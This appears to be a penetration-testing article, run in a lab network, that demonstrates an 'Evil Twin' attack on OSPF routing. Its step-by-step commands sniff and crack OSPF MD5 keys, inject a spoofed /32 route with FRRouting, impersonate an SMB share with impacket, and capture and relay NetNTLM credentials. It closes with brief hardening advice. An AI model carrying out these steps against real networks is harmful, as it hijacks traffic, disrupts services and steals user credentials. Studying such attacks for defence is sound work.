Nightmare Spoofing. Evil Twin attack over dynamic routing

Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own modification of the Evil Twin attack designed to intercept data in OSPF-based networks. I will also demonstrate how to connect to an offline system, bypass authentication, and perform a malicious LSU injection.


This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

OSPF principles

OSPF (Open Shortest Path First) is an intradomain dynamic routing protocol based on an algorithm conceived by Edsger W. Dijkstra. This is a link-state protocol, and the link state is analyzed during data transmission over OSPF. Based on the link state, OSPF structures routing tables, keeps them up-to-date, and automatically exchanges routing information with its neighbors. OSPF is an open standard supported by all network equipment vendors. Currently, this is the most popular intradomain routing protocol in production.

In this article, I refer to OSPF Version 2. Its characteristics are as follows:

  • OSPF uses multicast IP address to broadcast service information;
  • supports IPv4;
  • operates exclusively at the network level;
  • uses LSA (link-state advertisement) messages;
  • supports VLSM;
  • features a high convergence level compared to distance vector protocols;
  • computes the shortest-path tree (since it’s based on Dijkstra’s algorithm); and 
  • uses the reference bandwidth / link bandwidth formula to estimate the route cost. The bandwidth constant is divided by the actual bandwidth rate. However, the reference bandwidth value can be changed.
Neighborship process in OSPF
Neighborship process in OSPF

What can impede an attacker?

The OSPF protocol is much more difficult to attack compared to its relatives – distance vector routing protocols (e.g. RIP or EIGRP). The main problems are as follows:

  • OSPF AS can be divided into zones. Engineers can design an OSPF routing domain with multiple zones to reduce the load on routers’ computing resources. This must be taken into account in an OSPF routing domain, as well as the ability of packets to pass between these zones (e.g. if you intent to perform route injections); and 
  • Presence of Hello packets. An attacker can connect to an OSPF routing domain only if the network admin hasn’t configured passive interfaces; their configuration makes it possible to disable the distribution of Hello packets at the level of advertised networks. If you don’t see OSPF packets in your network analyzer, this means that either there is no OSPF, or passive interfaces have been configured, and this dynamic routing domain cannot be attacked.

Interference in the routing process

To attack a dynamic routing domain, you need to connect directly to the routing process. You can do this using a real router (i.e. a piece of hardware) or FRR.


FRRouting is a special virtual router that can be integrated with your OS and operates like a ‘real’ router. This is a really cool tool that supports plenty of interesting protocols: BGP, IS-IS, OSPF, EIGRP, VRRP, BFD, etc. In this study, I will use FRR.

The first step is to activate FRR daemons. A separate daemon will be responsible for each protocol. I will use the ospfd and staticd daemons.

root@kali:~# nano /etc/frr/daemons

Prior to starting a daemon, I switch the network interface to the promiscuous mode, enable routing, and activate the NAT Helper (NFCONNTRACK).

in9uz@kali:~$ sudo ip link set eth0 promisc on
in9uz@kali:~$ sudo sysctl -w net.ipv4.ip_forward=1
in9uz@kali:~$ sudo modprobe nf_conntrack
root@kali:~# echo "1" > /proc/sys/net/netfilter/nf_conntrack_helper

Then I start the FRR daemon and check its status.

in9uz@kali:~$ sudo systemctl start frr
in9uz@kali:~$ sudo systemctl status frr
FRR status
FRR status

Using the vtysh command, I access the router control panel:

in9uz@kali:~$ sudo vtysh
kali# show ver
FRR control panel
FRR control panel

Test network

For testing purposes, I will use a three-level network. A separate segment (WAREHOUSE) is allocated for the SMB share, but in fact, this is just a distribution layer switch. There are also several virtual networks that are located on access level switches; while distribution level switches implement routing between these VLANs.

HSRPv2 ensures network fault tolerance. Starting from the distribution layer, I set up dynamic OSPF routing; everything is stored in the zero BACKBONE zone.

Test network topology
Test network topology
  • (VLAN 20) (Windows 10 LTSC);
  • (VLAN 30) (Windows 10 LTSC);
  • (VLAN 50) (Kali Linux);
  • (HSRPv2 Active) (Cisco vIOS L2 Image);
  • (HSRPv2 Standby) (Cisco vIOS L2 Image);
  • Share (Windows Server 2019 Standard).

Traffic analysis

First of all, I have to examine OSPF traffic to find out the zone ID, the presence of authentication, router-id, etc. From the OSPF Hello packet received from Dist-SW1 (, I can see that the null zone is used.

OSPF traffic dump
OSPF traffic dump

In addition, MD5 authentication is used. It prevents unauthenticated routers from joining the routing process. To connect to the OSPF network, you must know the key.

Bypassing authentication

Key characteristics
Key characteristics

The screenshot below shows some key characteristics. The key identifier (ID) is equal to 1.

To sniff a cryptographic MD5 hash, I use the Ettercap utility. Prior to running it, I enable the promiscuous mode.

in9uz@kali:~$ sudo ip link set eth0 promisc on
in9uz@kali:~$ sudo ettercap -G
Ettercap found MD5 hashes
Ettercap found MD5 hashes

I copy these hashes and brute-force them. By the way, it’s very convenient that the captured hashes are presented in the John the Ripper format.

in9uz@kali:~$ cat >> ospf-hashes
in9uz@kali:~$ john ospf-hashes --wordlist=ospfwordlist
Cracked password to the OSPF domain
Cracked password to the OSPF domain

The password has been successfully brute-forced: flatl1ne. Using this key, I can connect to the OSPF network.

Evil Twin and NetNTLM interception

Beginning the attack

The main idea of this attack is to redistribute a static route with the lowest metric into an OSPF network. This network will be used as a vector for false route injection. FRR makes it possible to operate with static routing and its redistribution, which releases me from the need to use discrete utilities (Loki, Scapy, etc.).

I am going to spoof the SMB Share host at by injecting the address of the SMB share. This injection is a Type 5 LSA message; an LSU (link-state update) message will be generated; and then a legitimate router will accept my injection, add it to the routing table, and inform other neighbors of this announcement.

kali# conf ter
kali(config)# router ospf
kali(config-router) network area
kali(config-router) redistribute static metric 0


The routing table stores only the best routes. Your injection must have the best characteristics (i.e. administrative distance and metric).

The administrative distance (AD) determines route preferability. The higher is its value, the less likely the route will be selected. In OSPF, the default AD value is 110.

Another factor is route cost. Using FRR, I am going to specify a zero-cost static route redistribution. The lower is this metric, the more preferable is the route. And since I specify the /32 mask during the injection, the chance that the injected route will be added to the routing table is very high. This is because the packet received by the router will go to the network with the largest mask (in the via route format).

Injection structure:

kali(config)# ip route eth0


  • is the target server address;
  • /32 is the subnet mask. It’s equivalent to; and 
  • eth0 is the network interface of the attacker’s system. Accordingly, the address of the next hop will be my host.

Now I have to create a secondary address on the network interface equal to the address of the target SMB share since the traffic will come to my host via dst ip

in9uz@kali:~$ sudo ifconfig eth0:1 netmask

Now all traffic intended for this SMB share will go to my host. After that, I can deploy a simple SMB server using impacket and intercept encrypted user credentials (i.e. NetNTLM hashes) that can be subsequently brute-forced or relayed (NTLM Relay).

As a result, an Evil Twin attack will be delivered.

I deploy a share using Impacket and run the parser:

in9uz@kali:~$ sudo impacket-smbserver -smb2support sharePath /home/in9uz/smb-poc-share
in9uz@kali:~/toolkit/net-creds$ sudo python2 -i eth0

The attack begins, and I intercept plenty of NetNTLM hashes. Just look at this!

Captured NetNTLM hashes of the user intervalsabove
Captured NetNTLM hashes of the user intervalsabove

I try brute-forcing the password of this user.

Cracked password
Cracked password

The credentials are as follows: intervalsabove:viewfromabove. Terrific!

This is how you can intercept user credentials. By the way, NTLM Relay also works correctly.

NTLM Relay attack
NTLM Relay attack

Exercise caution when you interfere in the routing process! The above-described attack is extremely aggressive: when users go to some SMB share for their files, they won’t find nothing there. Since you’re spoofing this share, you might be able to deploy a copy of it. You will collect enough hashes pretty soon, and then you can stop the attack. It’s not recommended to procrastinate the exploitation; otherwise, legitimate employees would become upset, while your covert pentesting study won’t be a secret anymore.

Due to the high convergence rate in OSPF, once your injected route is deadvertised, the routing table structure will quickly return to its initial (i.e. before the attack) state. The convergence rate is four seconds. However, everything depends on the network size since all routers must update their tables. Again, exercise caution!

kali(config)# no ip route eth0

How to protect against Evil Twin?


Use authentication to prevent unknown routers from connecting to autonomous dynamic routing systems. Just make sure that the authentication key is strong enough and cannot be easily brute-forced.

Below is an example of MD5 authentication configuration on Cisco IOS:

Router(config)# interface GigabitEthernet X/X
Router(config-if)# ip ospf authentication message-digest
Router(config-if)# ip ospf message-digest-key 1 md5 y0uve_t4ken_y0ure_pr3c1ous_t1me

Use passive interfaces

Passive interfaces prohibit other interfaces from sending Hello packets, thus, preventing the pentester from connecting to the routing domain. Forever.

An example of passive interface configuration in Cisco IOS:

Router(config)# router ospf X
Router(config-if)# passive-interface GigabitEthernet X/X


The above-described attack can be delivered against networks with misconfigured dynamic routing domains. Attackers can combine Evil Twin with phishing, which makes the attack even more dangerous. Hopefully, this article will be useful for pentesters and network admins who should patch such security holes ASAP.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>